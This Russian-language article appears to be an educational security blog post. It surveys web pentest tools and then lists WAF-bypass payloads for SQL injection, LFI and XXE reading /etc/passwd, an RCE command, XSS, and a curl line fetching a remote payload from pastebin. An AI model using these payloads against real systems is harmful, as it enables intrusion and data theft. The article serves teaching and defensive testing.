Обеспечение безопасности веб-приложений (сайтов, интернет-магазинов, личных кабинетов) и API — не такая простая задача, как может показаться на первый взгляд. Этому есть несколько причин:

  • веб-приложения доступны 24/7, и злоумышленник в любой момент может предпринять свою атаку;
  • веб-приложения представляют собой стек различных технологий, взаимодействие которых порой сложно осуществить;
  • веб-приложения часто бывают самописными и, к несчастью, это не делает их более защищенными;
  • веб-приложения изначально разрабатываются для улучшения имиджа компании и получения экономической выгоды, а об их безопасности задумываются далеко не в первую очередь;
  • благодаря веб-приложению можно получить различную ценную информацию, начиная от данных пользователей и заканчивая наработками компании-владельца.

Конечно, веб-разработчики стараются не допускать появлению уязвимостей, но в силу причин, описанных ранее, не всегда этого удается избежать, а иногда и исправить с первого раза. Чтобы разобраться с актуальными видами уязвимостей веб-приложений достаточно обратиться к одному из самых авторитетных проектов, посвященных веб-безопасности — OWASP. Помимо прочего, на ресурсе можно найти список наиболее опасных и актуальных уязвимостей веб-приложений под названием OWASP Top Ten:

  • А1 — Инъекции;
  • А2 — Недостатки аутентификации;
  • А3 — Разглашение конфиденциальных данных;
  • А4 — Внешние сущности XML (XXE);
  • А5 — Недостатки контроля доступа;
  • А6 — Некорректная настройка параметров безопасности;
  • А7 — Межсайтовое выполнение сценариев (XSS);
  • А8 — Небезопасная десериализация;
  • А9 — Использование компонентов с известными
    уязвимостями;
  • А10 — Недостатки журналирования и мониторинга.

Как правило, безопасность веб-приложения складывается из:

  • проведения тестирования на проникновение;
  • анализа исходного кода на уязвимости;
  • использования систем мониторинга и выявления угроз: WAF, SIEM;
  • аудита веб-сервера и веб-окружения.

С проведением пентеста — понятно. Нанимаете специалиста (пентестера) или группу специалистов, которые тестируют веб-приложение «от А до Я» и предоставляют готовый отчет о найденных проблемах с рекомендациями по их устранению. Использование средств защиты — тоже не самый сложный вопрос, который сводится, как правило, к выбору вендора по критерию соотношения цена/функциональность. А вот на самостоятельном анализе веб-приложения остановимся чуть подробнее.

Использование различных инструментов для тестирования позволит разработчику самостоятельно проанализировать веб-приложение, обнаружить и устранить уязвимости прежде, чем их обнаружит и проэксплуатирует злоумышленник. Для этого можно использовать специальные дистрибутивы, которые имеют в себе необходимый набор инструментов и предназначены для проведения тестирования на проникновение. Одним из таких дистрибутивов является Kali Linux. Но если интересующего инструмента не нашлось, то можно воспользоваться поистине бездонным ресурсом Github. Тем не менее инструментария из набора Kali Linux в основном достаточно для большинства потребностей, возникающих при проведении пентеста.

Информация предоставлена исключительно в ознакомительных целях. Не нарушайте законодательство!

Разведка

Nmap

Прежде всего необходимо понять, какие еще сетевые сервисы доступны по адресу, на котором находится веб-приложение. Для этого проведем сканирование с помощью Nmap: # nmap -v 192.168.x.x.

У Nmap довольно много функций для сканирования, которые можно комбинировать, например:

  • cканировать TCP и UDP порты;
  • определять сервисы;
  • собирать баннеры и многое другое.

При обнаружении открытых портов нужно проверить сервисы и попытаться собрать как можно больше информации о них, добавив ключ -sV:
# nmap -v 192.168.x.x -sV.

Также инструмент поддерживает огромное количество скриптов, написанных на языке Lua, которые помогут автоматизировать сбор информации о цели тестирования. При определенных условиях инструмент Nmap можно использовать как средство повышения привилегий в системе.

Dirb/Dirbuster

Эти инструменты очень похожи друг на друга не только названием. Они оба позволяют рекурсивно обойти целевой сайт в поисках его директорий и файлов, обнаружение которых нежелательно. Работа инструментов основана на переборе вариантов запроса по словарю и анализе ответа от веб-сервера, на основе которого делается вывод о наличии файла/директории. Dirbuster отличается от своего собрата наличием графического интерфейса и возможностью проведения «чистой» bruteforce-атаки для директорий и файлов, но эта функция является достаточно ресурсоемкой.

Поиск уязвимостей и недостатков

Burp Suite (Community Edition)

Относится к виду перехватывающих прокси. Основной задачей этой многофункциональной платформы является перехват запросов от браузера к веб-приложению для анализа запроса, редактирования и отправки в пункт назначения. Перехватывать запросы можно как «на лету», производить их модификацию и передавать на сервер, используя модуль Repeater, анализируя реакцию веб-приложения.

OWASP Zap

Программный комплекс для автоматизации поиска и эксплуатации уязвимостей. Полностью бесплатный вариант Burp Suite без каких-либо ограничений. Функционал этих инструментов довольно схож. Модуль активного сканирования в OWASP Zap позволяет рекурсивно обойти весь сайт, подставляя полезную нагрузку во все параметры, которые сможет найти. В Burp Suite есть подобный модуль под названием Intruder, но в нем необходимо вручную указывать параметры, с которыми нужно работать. Интерфейс программы переведен на русский, что будет удобно для многих пользователей. Рабочая область разделена на 2 части. Внизу находятся вкладки с текущими заданиями и процесс их выполнения, сверху — дерево сайтов, которые посещает пользователь и дополнительное окно для отправки запросов и получения ответов, как в модуле Repeater у Burp Suite. У каждого компонента в настройках программы есть много настраиваемых параметров. Например, мы можем настроить входящие векторы для активного сканирования, сгенерировать динамические SSL-сертификаты, добавить идентификаторы HTTP-сессий и т.д.

Wapiti

Бесплатный консольный сканер уязвимостей веб-приложений, который может работать со следующими типами уязвимостей:

  • раскрытие файла (локальные и удаленные, fopen, readfile);
  • инъекции (PHP / JSP / ASP / SQL-инъекции и XPath-инъекции);
  • XSS (межсайтовый скриптинг);
  • XXE (XML внешняя сущность) внедрение;
  • SSRF (подделка запроса на стороне сервера);
  • использование известных потенциально опасных файлов (благодаря базе данных Nikto);
  • Shellshock;
  • открытые перенаправления и т.д.

Инструмент работает по принципу BlackBox тестирования (анализируются не исходники приложения, а ответы сервера на запросы с измененными параметрами). Утилита сначала анализирует структуру сайта, ищет доступные сценарии, анализирует параметры, а затем включает собственный фаззер для проведения тестирований. По окончании сканирования генерируется отчет, где указываются найденные уязвимости, сгруппированные по их типу. Подробнее про Wapiti можно почитать в статье Проверка сайта на уязвимости своими силами с использованием Wapiti

Acunetix Web Vulnerability Scanner (платный продукт)

Автоматизирует задачу контроля безопасности веб-приложений и позволяет выявить уязвимые места в их защите до того, как их обнаружит и использует злоумышленник. Сначала программа исследует и формирует структуру сайта, обрабатывая все найденные ссылки и собирая информацию обо всех обнаруженных файлах. Затем приступает к тестированию всех параметров веб-приложения, моделируя ввод данных с использованием фаззера, использованием подстановок различных параметров и сниппетов, которые могут помочь обнаружить брешь в защите. Среди доступных для обнаружения уязвимостей — все виды SQL injection, Cross Site Scripting, CRLF injection и многое другое.

Эксплуатация

Sqlmap

Предназначен для автоматизации поиска и эксплуатации SQL-инъекций. Позволяет искать все виды SQL-инъекций, работая как с GET, так и с POST-запросами. А если необходимо обрабатывать запрос целиком, то его можно сохранить в файл и в таком формате передать в SQLmap, указав необходимый для проверки параметр. Во время поиска и эксплуатации уязвимостей скрипт учитывает специфику исследуемых БД, будь это MySQL, Oracle, PostgreSQL или Microsoft SQL Server.

XSStrike

XSStrike — это пакет обнаружения XSS-уязвимостей, оснащенный четырьмя рукописными синтаксическими анализаторами, интеллектуальным генератором полезной нагрузки, мощным механизмом фаззинга и быстрым сканером. Он распознаёт ответ с помощью нескольких анализаторов, и затем обрабатывает полезные данные, которые гарантированно будут работать с помощью контекстного анализа, интегрированного в механизм фаззинга. Инструмент поддерживает:

  • технологию взлома контекста;
  • интеллектуальную генерацию пэйлоадов;
  • поддержку методов GET & POST;
  • поддержку файлов cookie;
  • обнаружение WAF;
  • пэйлоады ручной работы для фильтрации и WAF-уклонения;
  • скрытое обнаружение параметров.

Подробнее об инструменте можно почитать в статье Эксплуатация XSS уязвимостей с использованием XSStrike

Web Application Firewall и его обход

Web Application Firewall (WAF) — программный комплекс, предназначенный для обнаружения и блокирования атак на веб-приложение. Используется как наложенное средство защиты. Это значит, что он располагается перед основным веб-приложением и анализирует входящий и исходящий трафик. В режиме реального времени он принимает решение о предоставлении, либо отклонении доступа к веб-приложению. Разумеется, веб-приложение может быть защищено и силами разработчиков самого приложения без использования WAF. Но это требует дополнительных расходов, например, содержания отдела информационной безопасности.

Забегая вперед стоит сказать, что недостатки фильтрации запросов характерны для сигнатурного анализа. Комбинированный анализ на основе сигнатур и машинного обучения позволяет выявлять в том числе и различные техники обхода WAF. О распространенных ошибках и уязвимостях, которые приводят к компрометации веб-ресурсов, можно почитать в статье Сайт взломают, а вы и ухом не моргнете.

Для улучшенной системы мониторинга WAF объединяют с другими компонентами систем безопасности, например, с сетевыми IPS/IDS, системами контроля инцидентов (SIEM), сервисами противодействия мошенничеству и т.д. Несмотря высокую скорость работу, использование только сигнатурного анализа в WAF позволяет злоумышленникам выполнять обход
фильтрации, например:

    SQLi:

    q=` union/**/select+1,2,3,4 -- -
    q=` uni%0bon+se%0blect+1,2,3,4 -- -
    q=` UNunionION+SEselectLECT+1,2,3,4 -- -

    В первом примере при помощи замены пробелов между словами все выражение будет восприниматься как одно целое, но при этом само веб-приложение будет обрабатывать комментарии (/**/) и «+» как разделяющие символы между словами и воспринимать как пробелы. Или же разделять запрос с помощью URL-Encode, как во втором примере. Третий же пример показывает, что веб-приложения и даже WAF могут использовать фильтрацию по ключевым словам, а подобный пример может помочь обойти ее. В этом примере средства защиты будут фильтровать ключевые слова из запроса, такие как «union» и «select», но при этом запрос в итоге будет обработан веб приложением как: q=` UNION+SELECT+1,2,3,4 -- -

    LFI:

    q=../e?c/pa??wd

    Поиск по ключевым словам также и в случае с LFI позволяет злоумышленникам обойти фильтрацию. Попробуйте выполнить в консоли команду # cat /e?c/pa??wd и вы, возможно, удивитесь результату ее выполнения.

    RFI:

    ... curl -s http://pastebin.com/raw/... -o ...

    Ресурс pastebin.com — довольно удобный способ поделиться какими-то своими заметками и идеями, но именно его могут использовать злоумышленники для доставки полезной нагрузки на веб-сервер, если приложение поддерживает загрузку данных с внешних источников.

    RCE:

    q=;system(`cat%20/etc/passwd`)

    Здесь типичный запрос с выполнением системной команды: # cat /etc/passwd, выполнение которой возможно благодаря наличию RCE-уязвимости в веб-приложении, позволяющей выполнять команды на сервере.

    XXE:

    <!ENTITY sp SYSTEM «file:///etc/passwd»> ]>

    Использование веб-приложением языка XML может привести к внедрению внешних XML-сущностей, что позволит злоумышленнику не только прочитать локальные файлы на сервере, но и внедрить собственный вредоносный код, используя удаленный сервер.

    XSS:

    <A/+/onmouseover+=+(confirm)()>alert
    <img onerror=a lert(1) src=a>

    Одна из самых опасных уязвимостей, которую часто недооценивают. Всего одна хранимая XSS на сайте может позволить злоумышленнику получать cookie-файлы всех пользователей, посетивших зараженную страницу.

    JSON:

    `»><script>alert(context)</script>

    То же самое, что и предыдущий вариант, только с использованием JSON.

Узнать больше об инструментарии и продвинутых техниках поиска и эксплуатации уязвимостей можно в Корпоративных лабораториях Pentestit — программах практической подготовки в области ИБ. Оставайтесь здоровыми и защищенными!